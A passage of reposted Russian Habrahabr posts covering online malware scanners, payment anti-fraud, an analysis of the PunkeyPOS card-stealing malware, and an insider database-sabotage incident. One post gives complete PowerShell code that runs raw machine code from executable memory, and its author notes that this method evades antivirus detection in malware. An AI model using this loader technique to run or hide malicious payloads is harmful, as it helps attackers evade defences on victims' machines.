  • посетитель сайта находится на странице несколько секунд и только после этого его перенаправляют на платную подписку за смс

  • и т.п.



Несколько таких примеров:















Если заранее неизвестно, какой код провоцирует данные несанкционированные действия, то обнаружить его статическим анализом чрезвычайно сложно. К счастью, есть анализ динамический или иногда его еще называют “поведенческим”. Если веб-сканер умный, он будет не просто анализировать исходный код страницы или файлов, но еще и пытаться совершать какие-то операции, эмулируя действия реального посетителя. После каждого действия или при определенных условиях робот сканера анализирует изменения и накапливает данные для итогового отчета: загружает страницу в нескольких браузерах (причем, не просто с разных User-Agent’ов, а с разными значениями объекта navigator в javascript, разными document.referer и т.п.), ускоряет внутренний таймер, отлавливает редиректы на внешние ресурсы, отслеживает то, что передается в eval(), document.write() и т.п. Продвинутый веб-сканер всегда будет проверять код страницы и объекты на ней как до начала выполнения всех скриптов (сразу после загрузки страницы), так и спустя некоторое время, поскольку современные “вредоносы” динамически добавляют или скрывают объекты на javascript, а также выполняют фоновые загрузки внутри динамических фреймов. Например, код зараженного виджета может через 3 секунды или по движению мыши загрузить скрипт, который вставит на страницу javascript с редиректом на загрузку опасного .apk файла. Естественно, никакой статический анализ (кроме как заранее знать, что виджет опасен) или поиск по файлам такое не выявит.



А теперь, с пониманием требований к диагностике сайта и веб-сканерам, попробуем найти те, которые действительно эффективны. К сожалению, то что представлено на первой странице поисковика по запросу “проверить сайт на вирусы онлайн” сразу никуда не годится. Это или “поделки”, которые в лучшем случае могут выполнить статический анализ страницы (например, найти IFRAME, который может быть и не опасен), или агрегаторы сторонних API, проверяющие URL сайта по базе Google Safe Browsing API, Yandex Safe Browing API или VirusTotal API.



Если проверять сайт десктопным антивирусом, то анализ будет скорее всего также статический: антивирус умело блокирует загрузки с известных ему зараженных сайтов, но какого-то глубокого динамического анализа страниц сайта от него не стоит ожидать (хотя некоторые антивирусы действительно обнаруживают сигнатуры в файлах и на странице).



В итоге, после проверки двух десятков известных сервисов, я бы хотел остановиться на представленных ниже.



Веб-сканер QUTTERA









Выполняет поиск вредоносного кода на страницах, используя бессигнатурный анализ. То есть обладает некой эвристикой и выполняет динамический анализ страниц, что позволяет обнаруживать 0-day угрозы. Из приятных особенностей стоит отметить возможность проверки сразу нескольких страниц сайта, поскольку проверять по одной не всегда эффективно.

Хорошо обнаруживает угрозы, связанные с загрузкой или размерещением троянов, завирусованных исполняемых файлов. Ориентирован на западные сайты с их характерными заражениями, но часто выручает и при проверке зараженных сайтов рунета. Поскольку сервис бесплатный, есть очередь на обработку задач, поэтому придется немного подождать.



Веб-сканер ReScan.pro









Выполняет динамический и статический анализ сайта. Поведенческим анализом детектятся скрытые редиректы, статический анализ ищет вирусные фрагменты на страницах и в загружаемых файлах, а базой черного списка определяются ресурсы, загружаемые с зараженных доменов. Ходит по внутренним ссылкам, поэтому кроме основного URL проверяет еще несколько смежных страниц сайта. Приятным дополнением является проверка сайта по блек-листам Яндекс, Google и VirusTotal. Ориентирован в основном на вредоносы, которые обитают в рунете. Поскольку сервис бесплатный, лимит на проверку – 3 запроса с одного IP в сутки.



Веб-сканер Sucuri









Ищет вирусный код по сигнатурам и с помощью эвристики. Отправляет запросы к нескольким URL на сайте с различными User Agent / Referer. Обнаруживает спам-ссылки, дорвей-страницы, опасные скрипты. Кроме того, умеет проверять актуальные версии CMS и веб-сервера. Ограничений на число проверок не замечено. Из небольшого минуса обнаружилось, что список проверенных сайтов с результатами индексируется поисковыми системами, то есть можно посмотреть, какой сайт и чем был заражен (сейчас в поисковом индексе около 90 000 страниц), тем не менее эффективности сканера это не умаляет.



Redleg's File Viewer









Еще один западный веб-сканер сайтов. Может немного отпугивать своим аскетичным интерфейсом из 90-х, но, тем не менее, он позволяет выполнить полноценный статический анализ сайта и подключенных на странице файлов. При сканировании пользователь может задать параметры User Agent, referer, параметры проверки страницы. В настройках есть проверка страницы из кэша Google. Лимитов на проверку сайтов не обнаружено.



VirusTotal









Ну и, наконец, знакомый многим VirusTotal. Он не является в полной мере веб-сканером, но его также рекомендуется использовать для диагностики, так как он является агрегатором нескольких десятков антивирусов и антивирусных сервисов.



***



Упомянутые веб-сканеры можно добавить в закладки, чтобы при необходимости провести диагностику сразу эффективными инструментами, и не тратить время на платные или неэффективные сервисы.
Original source: habrahabr.ru.

https://habrahabr.ru/post/303956/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

Инлайн ассемблер в PowerShell

Пятница, 24 Июня 2016 г. 12:09 (ссылка)

Сегодня ночью мне не давала покоя мысль возможно ли как-то заставить PowerShell исполнять ассеблерные инструкции или это нечто из области фантастики. Концепт был готов спустя двадцать минут.



Те, кто не первый год на «ты» с C#, знают о чем пойдет далее речь: все верно — представление ассемблерных инструкций в виде массива байтов. Единственное, что может показаться невероятным во всей это истории, как этот массив удалось преобразовать в функцию. Полагаю, кто уже догадался, будет ворчать, мол, снова обобщенные делегаты. А ведь когда я о них только упомянал, многие скептически отнеслись ко всему этому, ибо самую соль, а именно отсутсвие необходимости генерирования динамической сборки при использовании таковых делегатов, мало кто уловил.



Итак, концепт представляет собой получение вендора CPU.



Набор байтов для x86 архитектуры будет выглядеть так:



[Byte[]]$x86 = @(
0x55, #push ebp
0x8B, 0xEC, #mov ebp, esp
0x53, #push ebx
0x57, #push edi
0x8B, 0x45, 0x08, #mov eax, dword ptr[ebp+8]
0x0F, 0xA2, #cpuid
0x8B, 0x7D, 0x0C, #mov edi, dword ptr[ebp+12]
0x89, 0x07, #mov dword ptr[edi+0], eax
0x89, 0x5F, 0x04, #mov dword ptr[edi+4], ebx
0x89, 0x4F, 0x08, #mov dword ptr[edi+8], ecx
0x89, 0x57, 0x0C, #mov dword ptr[edi+12], edx
0x5F, #pop edi
0x5B, #pop ebx
0x8B, 0xE5, #mov esp, ebp
0x5D, #pop ebp
0xC3 #ret
)


Для x64:



[Byte[]]$x64 = @(
0x53, #push rbx
0x49, 0x89, 0xD0, #mov r8, rdx
0x89, 0xC8, #mov eax, ecx
0x0F, 0xA2, #cpuid
0x41, 0x89, 0x40, 0x00, #mov dword ptr[r8+0], eax
0x41, 0x89, 0x58, 0x04, #mov dword ptr[r8+4], ebx
0x41, 0x89, 0x48, 0x08, #mov dword ptr[r8+8], ecx
0x41, 0x89, 0x50, 0x0C, #mov dword ptr[r8+12], edx
0x5B, #pop rbx
0xC3 #ret
)


Далее нам нужно выделить участок памяти в виртуальном адресном пространстве и запихать в полученный указатель один из вышеобозначенных массивов.



#в этой сборке можно разжиться VirtualAlloc и VirtualFree
Add-Type -AssemblyName System.ServiceModel
#извлекаем нужные нам функции и заносим их в одноименные переменные
([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {
$_.ManifestModule.ScopeName.Equals(
'System.ServiceModel.dll'
)
}).GetType(
'System.ServiceModel.Channels.UnsafeNativeMethods'
).GetMethods([Reflection.BindingFlags]40) |
Where-Object {
$_.Name -cmatch '\AVirtual(Alloc|Free)'
} | ForEach-Object { Set-Variable $_.Name $_ }
#какой блок нужно запихнуть
[Byte[]]$bytes = switch ([IntPtr]::Size) {
4 { $x86 }
8 { $x64 }
}

try {
#выделяем память равной размеру массива байтов
$ptr = $VirtualAlloc.Invoke($null, @(
[IntPtr]::Zero, [UIntPtr](New-Object UIntPtr($bytes.Length)),
[UInt32](0x1000 -bor 0x2000), [UInt32]0x40
))
#запихиваем данные в указатель
[Marshal]::Copy($bytes, 0, $ptr, $bytes.Length)
...


Далее используем уже известную нам технику создания функции через обобщенный делегат.



  ...
$proto = [Action[Int32, [Byte[]]]]
$method = $proto.GetMethod('Invoke')

$returntype = $method.ReturnType
$paramtypes = $method.GetParameters() |
Select-Object -ExpandProperty ParameterType

$holder = New-Object Reflection.Emit.DynamicMethod(
'Invoke', $returntype, $paramtypes, $proto
)
$il = $holder.GetILGenerator()
0..($paramtypes.Length - 1) | ForEach-Object {
$il.Emit([OpCodes]::Ldarg, $_)
}

switch ([IntPtr]::Size) {
4 { $il.Emit([OpCodes]::Ldc_I4, $ptr.ToInt32()) }
8 { $il.Emit([OpCodes]::Ldc_I8, $ptr.ToInt64()) }
}
$il.EmitCalli(
[OpCodes]::Calli, [CallingConvention]::Cdecl, $returntype, $paramtypes
)
$il.Emit([OpCodes]::Ret)

$cpuid = $holder.CreateDelegate($proto)
...


Остается только прочитать вендора и освободить указатель.



  ...
[Byte[]]$buf = New-Object Byte[] 16
$gch = [GCHandle]::Alloc($buf, 'Pinned')
$cpuid.Invoke(0, $buf)
$gch.Free()

"$(-join [Char[]]$buf[4..7])$(
-join [Char[]]$buf[12..15]
)$(-join [Char[]]$buf[8..11])"
}
catch { $_.Exception }
finally {
if ($ptr) {
[void]$VirtualFree.Invoke($null, @($ptr, [UIntPtr]::Zero, [UInt32]0x8000))
}
}


В моем случае будет возвращена строка AuthenticAMD.



Пример предельно прост, чтобы разобраться что к чему. Если пофантазировать, можно вполне себе писать таким образом на PowerShell более продвинутую малварь, нежели те поделки, которые время от времени засасывает ханипот. Пара концептов малвари, написанная в таком ключе, в лабораторных условиях показывает неплохой результат по отсутствию детекции антивирусами, что в очередной раз наводит на мысль о несостоятельности последних справляться с новыми видами угроз.



Код полностью
function Get-CPUVendor {
begin {
@(
[Runtime.InteropServices.CallingConvention],
[Runtime.InteropServices.GCHandle],
[Runtime.InteropServices.Marshal],
[Reflection.Emit.OpCodes]
) | ForEach-Object {
$keys = ($ta = [PSObject].Assembly.GetType(
'System.Management.Automation.TypeAccelerators'
))::Get.Keys
$collect = @()
}{
if ($keys -notcontains $_.Name) {
$ta::Add($_.Name, $_)
$collect += $_.Name
}
}

Add-Type -AssemblyName System.ServiceModel

([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {
$_.ManifestModule.ScopeName.Equals(
'System.ServiceModel.dll'
)
}).GetType(
'System.ServiceModel.Channels.UnsafeNativeMethods'
).GetMethods([Reflection.BindingFlags]40) |
Where-Object {
$_.Name -cmatch '\AVirtual(Alloc|Free)'
} | ForEach-Object { Set-Variable $_.Name $_ }

[Byte[]]$x86 = @(
0x55, #push ebp
0x8B, 0xEC, #mov ebp, esp
0x53, #push ebx
0x57, #push edi
0x8B, 0x45, 0x08, #mov eax, dword ptr[ebp+8]
0x0F, 0xA2, #cpuid
0x8B, 0x7D, 0x0C, #mov edi, dword ptr[ebp+12]
0x89, 0x07, #mov dword ptr[edi+0], eax
0x89, 0x5F, 0x04, #mov dword ptr[edi+4], ebx
0x89, 0x4F, 0x08, #mov dword ptr[edi+8], ecx
0x89, 0x57, 0x0C, #mov dword ptr[edi+12], edx
0x5F, #pop edi
0x5B, #pop ebx
0x8B, 0xE5, #mov esp, ebp
0x5D, #pop ebp
0xC3 #ret
)

[Byte[]]$x64 = @(
0x53, #push rbx
0x49, 0x89, 0xD0, #mov r8, rdx
0x89, 0xC8, #mov eax, ecx
0x0F, 0xA2, #cpuid
0x41, 0x89, 0x40, 0x00, #mov dword ptr[r8+0], eax
0x41, 0x89, 0x58, 0x04, #mov dword ptr[r8+4], ebx
0x41, 0x89, 0x48, 0x08, #mov dword ptr[r8+8], ecx
0x41, 0x89, 0x50, 0x0C, #mov dword ptr[r8+12], edx
0x5B, #pop rbx
0xC3 #ret
)

[Byte[]]$bytes = switch ([IntPtr]::Size) {
4 { $x86 }
8 { $x64 }
}
}
process {
try {
$ptr = $VirtualAlloc.Invoke($null, @(
[IntPtr]::Zero, [UIntPtr](New-Object UIntPtr($bytes.Length)),
[UInt32](0x1000 -bor 0x2000), [UInt32]0x40
))

[Marshal]::Copy($bytes, 0, $ptr, $bytes.Length)

$proto = [Action[Int32, [Byte[]]]]
$method = $proto.GetMethod('Invoke')

$returntype = $method.ReturnType
$paramtypes = $method.GetParameters() |
Select-Object -ExpandProperty ParameterType

$holder = New-Object Reflection.Emit.DynamicMethod(
'Invoke', $returntype, $paramtypes, $proto
)
$il = $holder.GetILGenerator()
0..($paramtypes.Length - 1) | ForEach-Object {
$il.Emit([OpCodes]::Ldarg, $_)
}

switch ([IntPtr]::Size) {
4 { $il.Emit([OpCodes]::Ldc_I4, $ptr.ToInt32()) }
8 { $il.Emit([OpCodes]::Ldc_I8, $ptr.ToInt64()) }
}
$il.EmitCalli(
[OpCodes]::Calli, [CallingConvention]::Cdecl, $returntype, $paramtypes
)
$il.Emit([OpCodes]::Ret)

$cpuid = $holder.CreateDelegate($proto)

[Byte[]]$buf = New-Object Byte[] 16
$gch = [GCHandle]::Alloc($buf, 'Pinned')
$cpuid.Invoke(0, $buf)
$gch.Free()

"$(-join [Char[]]$buf[4..7])$(
-join [Char[]]$buf[12..15]
)$(-join [Char[]]$buf[8..11])"
}
catch { $_.Exception }
finally {
if ($ptr) {
[void]$VirtualFree.Invoke($null, @($ptr, [UIntPtr]::Zero, [UInt32]0x8000))
}
}
}
end {
$collect | ForEach-Object { [void]$ta::Remove($_) }
}
}



Original source: habrahabr.ru.

https://habrahabr.ru/post/304010/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

9 секретов онлайн-платежей. Часть 7: система Fraud-мониторинга

Четверг, 23 Июня 2016 г. 20:40 (ссылка)

imageПочему отклоняются платежи? Как интернет-магазины защищаются от мошенников? Как определить, настоящей картой вам платят или ворованной? Что обеспечивает защиту e-commerce от фрода? Ответы на эти вопросы вы найдете в седьмой части серии авторских статей «9 секретов онлайн-платежей» от PayOnline.



От карточного фрода может пострадать и интернет-магазин, и банк, и непосредственно сам держатель карты. В случае утечки данных карт, злоумышленники стараются снять максимальную сумму денег и не оставить следов, чтобы интернет-магазины разбирались с банками, кто же всё-таки должен возместить утраченную сумму. За владельцами карт уследить невозможно — интернет-магазин не может знать, кто находится по ту сторону экрана: злоумышленник или добропорядочный клиент. Риск есть всегда, но чтобы приблизить его значение к нулю существует множество инструментов проверки платежей и верификации плательщиков. Об одной из них, системе мониторинга мошеннических операций, или «системе антифрод», пойдет речь далее.



Часть 1. Настройка 3D Secure

Часть 2. Регулярные платежи

Часть 3. Страница выбора способа оплаты

Часть 4. Платежная форма

Часть 5. Мобильные платежи

Часть 6. Оплата в один клик

Часть 7. Система fraud-мониторинга

Часть 8. Возвраты и как их избежать

Часть 9. Настройки платежного сервиса под тип бизнеса



Что такое антифрод и как он работает



Общая схема работы практически любого механизма фрод-мониторинга выглядит следующим образом: в момент совершения оплаты с помощью банковской карты собирается несколько показателей (у каждой антифрод системы они разные) – начиная от IP адреса компьютера и заканчивая статистикой оплат по этой карте. Количество фильтров может превышать сотню (например, у системы электронных платежей PayOnline их более 120). Система имеет набор правил, то есть лимитов фильтров безопасности. Каждый из фильтров проверяет пользователя — его персональные и карточные данные. Цель системы — убедиться в том, что пользователь является реальным владельцем карты, совершающим покупку на сайте. В случае выявления подозрительной активности, то есть превышения какого-либо значения параметра, фильтр автоматически блокирует возможность совершения платежа по этой карте. Рассмотрим процесс работы антифрод системы пошагово.



Пользователь совершат оплату на сайте. Информация о платеже попадает в систему fraud-мониторинга. В этот момент антифрод обладает двумя информационными пакетами: информацией о данном единичном платеже и профилем среднестатистического плательщика данного интернет-магазина. Алгоритмы работы системы fraud-мониторинга позволяют оценить ряд факторов, среди которых основными являются:




  • Страна, из которой совершается платеж.

  • Страна банка, выпустившего карту.

  • Размер платежа.

  • Количество платежей с карты.

  • Платежная история банковской карты.

  • Профиль среднестатистического плательщика магазина.



Транзакция проходит первичный анализ на основании этих и других факторов. На основании анализа ей присваивается «метка», которая характеризует способ обработки транзакции. Существуют три типа меток. «Зеленая» отмечает транзакции с низкой вероятностью возникновения мошеннической операции. «Желтой» меткой отмечаются транзакции, в которых шанс возникновения мошеннической операции выше среднего, и для проведения платежа потребуются дополнительного внимания. «Красной» отмечаются транзакции, которые с наибольшей вероятностью могут оказаться мошенническими, и при их проведении потребуется документальное подтверждение аутентичности владельца карты.



«Судьба» каждой метки индивидуальна. В графическом виде мы представили жизненный цикл транзакций всех трех типов на Рисунке 1. Далее на нескольких простых примерах мы рассмотрим типовые транзакции всех «цветов» и расскажем, какие проверки определяет транзакциям система fraud-мониторинга в зависимости от уровня риска возникновения фрода.



image

Рисунке 1. «Жизненный цикл» транзакций с разными уровнями риска возникновения мошеннической операции



С «зелеными» транзакциями все максимально просто: например, плательщик осуществляет оплату из России, картой, выпущенной российским банком. Сумма платежа не превышает среднего чека магазина.



Система мониторинга присваивает транзакции «зеленую» метку. Далее транзакция отправляется на авторизацию с помощью 3-D Secure. А если карта не подписана на сервис одноразовых паролей или банк-эмитент еще не поддерживает данный сервис, запрос на авторизацию этой транзакции будет направлен в процессинговый центр банка-плательщика обычным способом — напрямую.



Средний уровень риска возникновения fraud-а определяет иной путь проверки оплаты на легитимность. Метка «желтого» цвета присваивается транзакциям со средним и выше среднего уровнями риска возникновения мошеннических операций. Например, в российском интернет-магазине покупка оплачивается банковской картой, выпущенной в России, но размер среднего чека заметно превышает средний «по больнице».



Система помечает данную транзакцию «желтой» меткой, и для ее авторизации могут потребоваться дополнительные действия плательщика. Если карта подписана на 3-D Secure, то транзакция (как и в случае с «зеленой» меткой), будет авторизована с использованием одноразового пароля. Однако если плательщик не может воспользоваться этим способом авторизации платежа, то его банковская карта будет автоматически направлена на онлайн-валидацию или ручную проверку.



«Красную» метку система фрод-мониторинга автоматически присваивает транзакциям с высоким уровень риска совершения мошеннических операций. Например, оплата в российском интернет-магазине осуществляется картой, выпущенной в США, а плательщик находится в Испании.



Если платежи с помощью данной банковской карты ранее не совершались через PayOnline, система fraud-мониторинга пометит транзакцию «красной меткой» и переведет ее из автоматического режима авторизации в ручной. Такой платеж будет отправлен на ручную модерацию специалистам департамента рисков. Для аутентификации владельца банковской карты потребуется документальное подтверждение — отсканированное изображение банковской карты и документа, удостоверяющего личность владельца. После предоставления корректных сканов документов операция переводится из «красного» в «зеленый» цвет и направляется на авторизацию в процессинговый центр банка. Сомнительные операции, не прошедшие ручную модерацию, отклоняются во избежание риска возникновения мошеннических операций.



Таким образом, анализ транзакций автоматически проводится системой fraud-мониторинга сразу на трех уровнях: единичная банковская карта; профиль предприятия электронной коммерции; общий поток транзакций, обрабатываемых IPSP. Вкупе с постоянно совершенствующимися алгоритмами автоматического сбора, обработки и анализа данных о совершенных платежах многоуровневый анализ транзакций позволяет системе fraud-мониторинга своевременно изменяться, повышая уровень безопасности совершения оплат на сайтах клиентов и снижая риски по всем видам фрода, свойственным интернет-коммерции.



Что настораживает систему фрод-мониторинга?



Что может вызвать подозрение у антифрод системы? Вот некоторые параметры, которые, скорее всего, заставят систему мониторинга мошеннических операций.




  • Оплата по одной карте происходит с различных устройств, идентифицированных различными IP адресами.

  • Обратная ситуация — с одного и того же устройства (IP адреса) производятся операции с помощью большого количества карт.

  • С одной карты совершается несколько неудачных попыток оплаты (вероятно, пользователь не имеет возможности пройти процедуру подтверждения).

  • Один клиент регистрируется под несколькими аккаунтами, используя разные адреса электронной почты, и платит с одной карты

  • Имя плательщика, указанное на платежной форме, отличается от имени владельца карты.

  • Разные страны регистрации интернет-магазина, банка-эмитента карты и покупателя.



Этот перечень «спорных ситуаций» может дать вам общее представление о логике работы системы. Специалисты по рискам и бизнес-аналитики стараются учесть все нюансы, добавляя новые фильтры, защищающие бизнес интернет-компаний от злоумышленников. Стоит отметить, что в зависимости от платежного сервис-провайдера логика работы системы фрод-мониторинга и ее параметры изменяются.



Ручная настройка: зачем и кому она нужна



Настройки системы фрод-мониторинга различаются в зависимости от типов бизнеса. Необходимо учитывать целый список параметров:




  • среднестатистический профиль плательщика,

  • размер среднего чека,

  • уровень рисков в сегменте,

  • особенности реализуемых товаров и услуг (цифровые они или физические).



Иногда бизнес имеет очень узкую специфику, и без индивидуальной настройки некоторые платежи просто не смогут пройти стандартные настройки антифрода, хотя и не будут являться мошенническими.



Например, ограничения по географии платежей критичны для сферы онлайн туризма: клиенту может понадобиться приобрести билет на самолет, находясь в командировке за границей, а система заблокирует такой платеж, так как он совершается не из той страны, где выпущена карта плательщика.



В этом случае применяется тонкая настройка фильтров: можно задать условия, согласно которым платеж будет пропускаться, даже если не выполняется условие, географии платежа. Подобные изменения вносятся в систему только после анализа возможных рисков, под контролем специалистов и после согласования изменений с представителем интернет-магазина.



Собственноручное вмешательство в работу системы может привести к большим потерям — при одобрении мошеннических операций интернет-магазин будет обязан вернуть деньги на карту владельца, даже если товар уже был отгружен мнимому покупателю. Более того, на магазин может быть наложен штраф в зависимости от объемов мошенничества, а при повторении подобных ситуаций — особые санкции от международных платежных систем (МПС).



Плюсы и минусы системы антифрод



Плюсы системы мониторинга мошеннических операций очевидны — автоматическое отклонение сомнительных транзакций, защита интернет-магазина от последующих разбирательств с банками, платежными системами и реальными владельцами карт. И, конечно же, минимизация репутационных и финансовых рисков. Репутация магазина не пострадает, и пользователи будут доверять такому ресурсу, а значит, их лояльность будет расти.



Но, как и у любого сервиса, у системы фрод-мониторинга есть свои «издержки производства». Отклонение платежей может привести к потере клиентов, а значит, прибыли. Без должной настройки фильтры могут не пропускать значимые для интернет-магазина транзакции, что точно не понравится покупателям.



При выборе платежного сервис-провайдера стоит обратить внимание на заявленную конверсию в успешные платежи: сервисы, гарантирующие «100% успешных оплат», скорее всего, либо намеренно переоценивают свой функционал, либо подвергают клиентов риску стать жертвой злоумышленников. Например, уровень конверсии в успешные платежи после «ручной» настройки (или у стандартных интернет-магазинов со стандартной клиентской аудиторией) системы электронных платежей PayOnline варьируется в рамках 93-96% — и это очень хороший показатель для рынка.



Еще одним неприятным, но важным моментом, с которым придется столкнуться при разработке системы фрод-мониторинга на стороне интернет-магазина, станет защита данных пользователей, как персональных, так и платежных. Необходимо будет пройти сертификацию соответствия требованием стандарта PCI DSS, а также учесть ограничения на хранение и обработку данных, регулируемые законом. Это относится скорее к тем, кто всё-таки берется за самостоятельную разработку антифрода, поэтому подробно вдаваться в детали в данной статье мы не будем.



Кто предоставляет услуги антифрод и почему лишь единицам стоит вкладываться в собственные разработки



Мониторинг мошеннических операций — необходимость в современных реалиях электронной коммерции. Для банка затраты на поддержку и развитие антифрод-системы — это более чем приемлемая сумма, которая многократно окупится в процессе использования.



Для платежного сервис-провайдера система фрод-мониторинга является одним из ключевых сервисов, который она предоставляет компаниям-клиентам.



Для малого и среднего бизнеса разработка собственного антифрода — это неподъемный и не окупающийся проект. Требования к подобным механизмам растут с каждым годом, они учатся более тонко обрабатывать получаемую информацию, учитывая статистику и поведенческие факторы. Чтобы система работала эффективно и соответствовала современным требованиям, необходим штат квалифицированных специалистов и значительные технические мощности. В подавляющем большинстве случаев игрокам электронной коммерции «не по карману» такие постоянные затраты — и мониторинг мошеннических операций делегируются платежным сервис-провайдерам, специализирующимся на анализе и обработке платежных операций. Так, к примеру, деятельность по мониторингу мошеннических платежных операций в PayOnline осуществляет система Fraud Management System (FMS), разработанная нашими специалистами. Она позволяет произвести тонкую настройку безопасности по 140 фильтрам. Если вы заинтересованы в приеме платежей на сайте или в мобильном приложении, защищенных антифрод-системой, смело обращайтесь, проконсультируем и подключим.



В следующей части «9 секретов онлайн-платежей» обсудим еще одну очень важную для любого продавца тему — чардж-бэк: Что делать, если услуга оказана или товар отгружен, а клиент или банк требуют вернуть деньги обратно на карту плательщика? Как можно избежать возвратов? Какие требования обычно предъявляются к сайту интернет-магазина? Скоро в нашем блоге.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/303204/

Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

[Перевод] Как «PunkeyPOS» крадет информацию с банковских карт

Четверг, 23 Июня 2016 г. 14:35 (ссылка)





Антивирусная лаборатория PandaLabs компании Panda Security с мая осуществляет тщательное исследование POS-терминалов в ресторанах США, в рамках которого был обнаружен так называемый PunkeyPOS – вариант вредоносной программы, который способен получать доступ к данным банковских карт. PandaLabs предоставила эту информацию в распоряжении американских правоохранительных органов, чтобы они могли предпринять соответствующие меры. Давайте посмотрим, что это такое и как это работает.



PunkeyPOS работает во всех версиях операционной системы Windows. План кибер-преступников: установить вредоносную программу на POS-терминалы, чтобы осуществлять кражу такой критически важной информации, как номера счетов, содержание магнитной полосы на банковских картах и т.д.



PunkeyPOS кажется простым:

Он устанавливает кейлоггер, который осуществляет мониторинг нажатия клавиш, затем он устанавливает RAM-scraper, который отвечает за чтение памяти всех процессов, запущенных в системе.



Основываясь на перехваченной информации, вредоносная программа выполняет ряд операций, позволяющих установить, что является актуальным, а что нет. Что касается нажатия клавиш, то PunkeyPOS игнорирует любую информацию, которая не относится к данным банковской карты. В основном, интерес вызывает tracks1/2 из памяти процессов, получаемый от RAM-scraper. POS-терминалы считывают эту информацию с магнитных полос банковских карт, так что преступники могут использовать эти данные, чтобы позже клонировать карты.



После того как соответствующая информация была получена, она шифруется и передается на удаленный веб-сервер, который также является сервером управления и контроля (C&C). Чтобы предотвратить обнаружение информации о карте в случае, если кто-то сканирует сетевой трафик, она шифруется до момента отправки с помощью алгоритма AES.



Адрес сервера управления и контроля (C&C) можно легко получить на основе образца данной вредоносной программы путем обратного инжиниринга или анализа их коммуникаций. Ниже представлена главная страница панели управления, для доступа к ней требуется логин и пароль:







Идем по следам к Digital Pickpocketers



Авторы данной атаки были не очень осторожны. Т.к. сервер не был сконфигурирован правильно, PandaLabs смога получить доступ к нему без регистрационных данных.



В результате PandaLabs смогла увидеть, каким образом PunkeyPOS передает похищенную информацию. Помимо того, что панель управления предоставляет возможность доступа к украденной информации, кибер-преступники через данную панель могут повторно заразить или обновить текущих клиентов (POS-ботов).







Версия анализируемого образца PunkeyPOS: “2016-04-01”. Если мы сравним этот образец с более ранними версиями, некоторые из которых относятся к 2014 году, мы вряд ли сможем увидеть какую-либо разницу в том, как она работает:



krebsonsecurity.com/2016/06/slicing-into-a-point-of-sale-botnet

www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges—Punkey/




PandaLabs сумела получить доступ к консоли управления PunkeyPOS, и установить местоположение примерно 200 POS-терминалов, которые были заражены данным вариантом вредоносной программы. Мы можем увидеть, что практически все жертвы расположены в США:







Учитывая, как легко можно продать эту информацию на «черном» рынке, и насколько удобно заражать эти POS-терминалы анонимно через Интернет, уверены, что кибер-преступники будут все чаще обращаться к этим терминалам.

Original source: habrahabr.ru.

https://habrahabr.ru/post/303948/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best

Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

Последствия drop table: Как «Печкин» пережил серию атак инсайдеров, выжил и стал лучше

Среда, 22 Июня 2016 г. 14:56 (ссылка)





В интернете можно найти немало историй о том, как акционерные конфликты в компаниях ставили их на грань выживания — однако чаще всего такие случаи кажутся чем-то далеким и никак не влияют на повседневную жизнь. В последние пару месяцев многие пользователи сервиса «Печкин» сталкивались с проблемами при работе с ним — и в нашем случае страшилки из бизнес-СМИ стали реальностью, чуть не похоронив весь проект.



Сегодня мы расскажем о том, как столкнулись с серией хакерских атак со стороны инсайдеров в компании, пережили их последствия и смогли сделать сервис лучше.



Предыстория



Проблемы начались с акционерного конфликта между создателями сервиса «Печкин» и инвесторами, выкупившим проект. Не будем вдаваться в детали возникших разногласий (это тема для отдельного и не самого короткого материала), скажем лишь, что в конечном итоге бывший владелец в один момент сообщил о том, что он и вся его команда больше работать с новой командой не будут, и исчез, не оставив ни паролей, ни документации, ни каких бы то ни было рекомендаций по работе с имеющейся инфраструктурой.



После этого стало ясно, что события могут начать развиваться и по очень неблагоприятному сценарию, однако мы надеялись, что у нас хотя бы будет время на то, чтобы немного вникнуть в код и разобраться с архитектурой системы. Однако этого времени у нас не оказалось.



Ночная атака и оборона



17 апреля текущего года около 2 часов ночи было получено системное уведомление о «падении» сервиса «Печкин». Дежурный администратор даже не сразу понял, что именно случилось — для части ключевых таблиц проекта (их несколько сотен тысяч) была выполнена команда drop table. По сути, это означало полное удаление некоторых пользовательских данных. Одновременно оставшиеся таблицы были переименованы для затруднения дальнейших разбирательств. При этом размер БД составлял около 1,5 терабайт, так что только ее копирование для дальнейших манипуляций должно было занять около 30 часов.



Разумеется, для всех удаленных таблиц имелись бэкапы базы — полный, инкрементальный и бинлоги. Этого должно было хватить: полный бэкап был за 20 марта, с этого дня до 2 апреля у нас был инкрементальный бэкап, а с 2 по 17 апреля имелись бинлоги.



Важный момент — 17 апреля был выходным днем (воскресенье), так что команде пришлось в срочном порядке выходить на работу, чтобы попытаться хоть как-то восстановить работу сервиса и ответить на гигантский поток обращений от клиентов, обрушившийся на отдел поддержки. К сожалению, глубокого понимания структуры базы данных у специалистов на тот момент не было, что усложняло работу и приводило к ошибкам — например, часть таблиц была «сломана» и в бэкап попали уже «битые» данные.



Были сделаны несколько копий БД — это позволило «накатывать» бэкапы без риска испортить исходные данные. Мы начали процедуру восстановления — но она должна была занять много времени. Сотни тысяч таблиц, огромный объём — только на восстановление бинлогов требовался в лучшем случае день, а с каждым часом потери бизнеса только увеличивались.



Пользователи были в гневе, и их можно понять. Число тикетов поддержки быстро достигло 3000 — пришлось настраивать автоответы, чтобы хоть как-то объяснить каждому из написавших нам, что в действительности произошло.



Предстояло решить главный вопрос: начинать работу с данными за 20 марта или попробовать совершить невозможное и восстановить все на момент падения сервиса. Мы решили бороться за данные каждого пользоваться до конца. Но требовалось подкрепление, поэтому пока члены команды работали изо всех сил, руководство проекта в авральном режиме за день нашло сильного DBA-специалиста — уже ночью того же дня он присоединился к пожарной бригаде в деле восстановления БД таблицы за таблицей. К сожалению, даже при всем этом полное восстановление заняло еще 4 дня — но в итоге у нас были все данные до последней email-кампании!



Как вообще это стало возможным



